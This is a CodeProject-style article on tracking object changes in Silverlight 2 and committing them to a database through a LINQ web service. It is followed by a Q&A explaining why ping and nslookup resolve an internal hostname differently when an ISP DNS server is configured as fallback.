What I noticed in the proxy classes was the data structure implemented in the INotifyPropertyChanged interface. This requires the implementation of the event handler PropertyChanged that is called whenever a property change is made. By default, this event handler is not assigned.
INotifyPropertyChanged
PropertyChanged
The following code contains a simple Widget class that implements the INotifyPropertyChanged event:
Widget
public partial class Widget: object, System.ComponentModel.INotifyPropertyChanged
{
private string _ID;
private string _Name;
private string _Colour;
public string ID
{
get
{
return this._ID;
}
set
{
if ((object.ReferenceEquals(this._ID, value) != true))
{
this._ID = value;
this.RaisePropertyChanged("ID");
}
}
}
public string Name
{
get
{
return this._Name;
}
set
{
if ((object.ReferenceEquals(this._Name, value) != true))
{
this._Name= value;
this.RaisePropertyChanged("Name");
}
}
}
public string Colour
{
get
{
return this._Colour;
}
set
{
if ((object.ReferenceEquals(this._Colour, value) != true))
{
this._Colour= value;
this.RaisePropertyChanged("Colour");
}
}
}));
}
}
The beauty of using this event handler is it will fire when any change is made to a property, regardless if done through code or a data control. To wire up the event handler, assign an event handler method to the object. The following code illustrates how to assign an event handler to a Widget object. Whenever a Widget property changes, the event handler is called:
public void TestHandler()
{
//
Widget testWidget = new Widget();
testWidget.ID = "100";
testWidget.PropertyChanged += new
System.ComponentModel.PropertyChangedEventHandler(this.Notifychanges);
testWidget.Name = "Big Widget";
testWidget.Colour = "Green";
}
public void Notifychanges(object sender, System.ComponentModel.PropertyChangedEventArgs e)
{
PropertyInfo p;
p = sender.GetType().GetProperty(e.PropertyName);
//get change property value
string changeValue = p.GetValue(sender, null).ToString();
System.Windows.Browser.HtmlPage.Window.Alert("Changing " +
e.PropertyName + " to " + changeValue);
}
The included TrackChanges class library works by tracking object changes using this event handler. Any object property changes will cause the event to fire. The changes are stored in a Dictionary object.
Dictionary
To use this in your project, this adds a reference to the TrackChanges object. The TrackChanges exposes the ChangeTracking class. The class constructor requires three arguments: a table name, an array of table keys, and either an object collection or a single object instance.
TrackChanges
ChangeTracking
The table name should match the TableName attribute assigned in the web service LINQ data source (see below for more information). The array of keys is case sensitive, they must match the object property name's case.
TableName
In the following example, a single Customer instance is created and assigned to a ChangeTracking object:
Customer testCustomer = new Customer();
//need to assign an ID for tracking to know what to track..
testCustomer.CustomerID = "10000";
//start tracking changes
ChangeTracking customerTrack = new ChangeTracking("dbo.Customers",
new string[] { "CustomerID" }, testCustomer);
testCustomer.CompanyName = "Test Company";
testCustomer.ContactName = "Fred Smith";
testCustomer.ContactTitle = "Consultant";
The SilverlightUpdateChanges sample project loads all records from the Northwind Customers table and the testtable into the data grids. Any changes made are committed to the database when the Save Changes button is clicked.
The below code lists part of the SilverlightUpdateChanges project. Upon loading the form, the customer and testable grids are populated by calling the web service methods. This returns a list of all records from these tables. An instance of the ChangeTrack class is created, passing the table name, array of keys, and the object to track changes. Creating this class wires the NotifyChanges event handler for each object to an event handler within the class.
ChangeTrack
NotifyChanges
TrackChanges.ChangeTracking customerTracking;
TrackChanges.ChangeTracking testTracking;
void Page_Loaded(object sender, RoutedEventArgs e)
{
//create an instance of the web service and get customers
NorthwindSvc.NorthwindSvcClient nwindClient =
new NorthwindSvc.NorthwindSvcClient();
//add event handler for GetCustomers asynchronous call
//and call GetCustomersAsync to populate items
nwindClient.GetCustomersCompleted += new
EventHandler<SilverlightUpdateChanges.NorthwindSvc.
GetCustomersCompletedEventArgs>(client_GetAllCustomersCompleted);
nwindClient.GetCustomersAsync();
nwindClient.GetTestItemsCompleted += new
EventHandler<GetTestItemsCompletedEventArgs>(
nwindClient_GetTestItemsCompleted);
nwindClient.GetTestItemsAsync();
}
void nwindClient_GetTestItemsCompleted(object sender,
GetTestItemsCompletedEventArgs e)
{
//get list of test items
List<testtable> testList = e.Result.ToList();
//start tracking any changes to testList
testTracking = new ChangeTracking("dbo.testtable",
new string[] { "id" }, testList);
grdTestItems.ItemsSource = testList;
grdTestItems.Columns[0].IsReadOnly = true;
}
void client_GetAllCustomersCompleted(object sender,
SilverlightUpdateChanges.NorthwindSvc.GetCustomersCompletedEventArgs e)
{
//get list of customers
List<Customer> customerList = e.Result.ToList();
//start tracking any changes to customerList
customerTracking = new ChangeTracking("dbo.Customers",
new string[] { "CustomerID" }, customerList);
grdCustomers.ItemsSource = customerList;
}
All changes are stored in a Dictionary object in the ChangeTracking class. The dictionary key contains the key for the record and the field/property being changed. These values are separated by a delimiter. The default delimiter is the vertical bar ('|'). So, if the Northwind Customers table CustomerName property is changed for the company record 'Around the Horn', the key would look like this: AROUT|CustomerName. The changed value is stored in the corresponding dictionary Value property.
CustomerName
Value
The SilverlightUpdateChanges data changes can be committed to the database by calling the DataWebServices web service SubmitChangesAsync method. This method requires the dictionary object of changes and the table name.
SubmitChangesAsync
The DataWebServices project uses the UpdateChanges class to submit the database changes. The UpdateChanges constructor requires no arguments. The UpdateChanges class exposes the SubmitChanges method which submits the changes to be made. SubmitChanges requires the LINQ DatabaseContext object for the data you want to change, the table name, and the dictionary object of changes.
SubmitChanges
DatabaseContext
The table name argument must match the table name attribute assigned to the LINQ class. You can view the attributes by looking at the class definition in the LINQ DBML file. It will look something like this:
[Table(Name="dbo.Customers")]
Public partial class Customer : INotifyPropertyChanging,
INotifyPropertyChanged
You must include the schema if it is the attribute. The following code snippet calls the SubmitChanges method, passing a dictionary of changes to update the dbo.Customers table:
NorthwindDataContext northwindDB = new NorthwindDataContext(connectionString);
//create a new UpdateChanges object and submit changes
//to the Customers database using the northwindDB LINQ Northiwind provider
UpdateChanges testChanges = new UpdateChanges();
return (testChanges.SubmitChanges(northwindDB,
"dbo.Customers", changesDictionary));
The SubmitChanges method will execute an UPDATE statement against each changed record. It will only execute one UPDATE statement per record. If you have made more than one change to a given record, it will combine the updates in a single statement.
UPDATE
SubmitChanges returns a string showing how many successful updates were made and how many statements were executed.
The UpdateChanges class also exposes the following properties:
ErrorList
SuccessCounter
ExecutionCounter
Delimiter
There are a few pros and cons using these classes in their current form.
Pros:
Cons
Record deletion would be relatively easy. Insertion is also possible, but a mechanism for returning the keys of new values would need to be implemented. Adding optimistic locking would require some or all of the fields to be passed back.
The option of building a SQL string from the Silverlight side and sending it back to the web service has crossed my mind. This would solve a number of these issues. But, the security issues are great; the ability to execute arbitrary SQL statements against your database is too dangerous. An encryption process and secure identification scheme might address some of these issues.
Another issue is the key delimiter, currently set as the vertical bar |. If any changed properties contain this value, the update operation will fail. This can be easily fixed by changing this to a more obscure value (both the tracking and update classes can change this through the Delimiter property). If the property name isn't the same as the corresponding table field name, then it won't work correctly. This can be easily fixed by providing a mapping routine.
I am considering a mapping routine to map the lookup values against field names, which would speed up operations as well as transmit less data.
I've encountered a few quirks working with Silverlight 2. One is the default startup project. One would assume this would be the Silverlight project, but it's actually the Web service. If the Silverlight project is made to be the start up, you can get communication errors when starting the project in debug mode (pressing F5). But, running in non debug (Ctrl-F5) mode works.
Another is a warning that sporadically appears:
Custom tool warning: Unable to load one or more of the requested types.
Retrieve the LoaderExceptions property for more information.
G:\Data\VS\VS2008\Silverlight\SilverlightUpdateChanges\SilverlightUpdateChanges\
Service References\NorthwindSvc\Reference.svcmap.
This doesn't seem to affect the execution, but is odd, and may be related to Silverlight's Beta status. It disappears when Visual Studio is restarted.
Hopefully, this provides a solution to updating databases from Silverlight. I intend to improve the current functionality, addressing some of the issues raised earlier. Any feedback is appreciated, including (constructive) criticism. If you are going to rate less than 3, I'd appreciate. | http://www.codeproject.com/Articles/28966/Silverlight-Database-Updating?msg=2846793 | CC-MAIN-2015-48 | en | refinedweb |
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I have a user on Windows 7 that is trying to access a local server with a DNS name of windows.cs. We have two internal DNS servers. The DHCP server assigns users the two internal DNS servers as primary and secondary and then our ISPs DNS as a tertiary DNS server.
Every now and then, the user can't access the website at windows.cs. If I ping it, it says it can't resolve the host name. I flush the DNS cache, and then when I display the dns cache it has the following:
windows.cs - Name does not exist
Yet if I use nslookup, which by default queries the primary DNS server (our internal one) and I query windows.cs, it returns the correct IP address.
So why can't Windows resolve the hostname using ping, but it can when using the nslookup tool? And how do I fix this? won't go to the ISP DNS server again.
The reason ping can't resolve the hostname but nslookup can is because nslookup a low-level tool that bypasses the Windows DNS client. It uses whatever DNS server you tell it to (the first one by default), and does the query on the fly. You can change the DNS server it queries by typing server <host> from the nslookup prompt, where host is the IP or FQDN.
server <host>
The Windows DNS client however will only do queries for entries that are not in its cache (or have expired). Otherwise it returns the cached result.
It's not immediately apparent why the Windows client is using the ISP DNS server. Perhaps it could not resolve the local server recently (due perhaps to being on another network), perhaps the local server was returning errors. Or, perhaps it is not ordered correctly under Advanced TCP/IP settings > DNS.
Personally I prefer to only use local DNS server addresses on workstations (propagated by DHCP), to simplify configuration and avoid issues like this. I'd be curious to know the rationale behind setting the ISPs DNS server on desktops. I can't imagine there being any valid performance reasons, and as far as redundancy goes two is enough on most networks (if not add a third).
The results of nslookup differ from that of ping because of nslookup idiosyncracies and bugs. They are not really relevant to your main problem, however, which is that you've violated the rule that your fallback proxy DNS servers must provide the same view of the DNS namespace as your principal one. Your ISP's proxy DNS server doesn't provide the same view of the DNS namespace as your own proxy DNS servers on your LAN.
nslookup
ping
It would seem that yet another system administrator has fallen foul of the My ISP provides and documents it, so I must use it. fallacy. ☺
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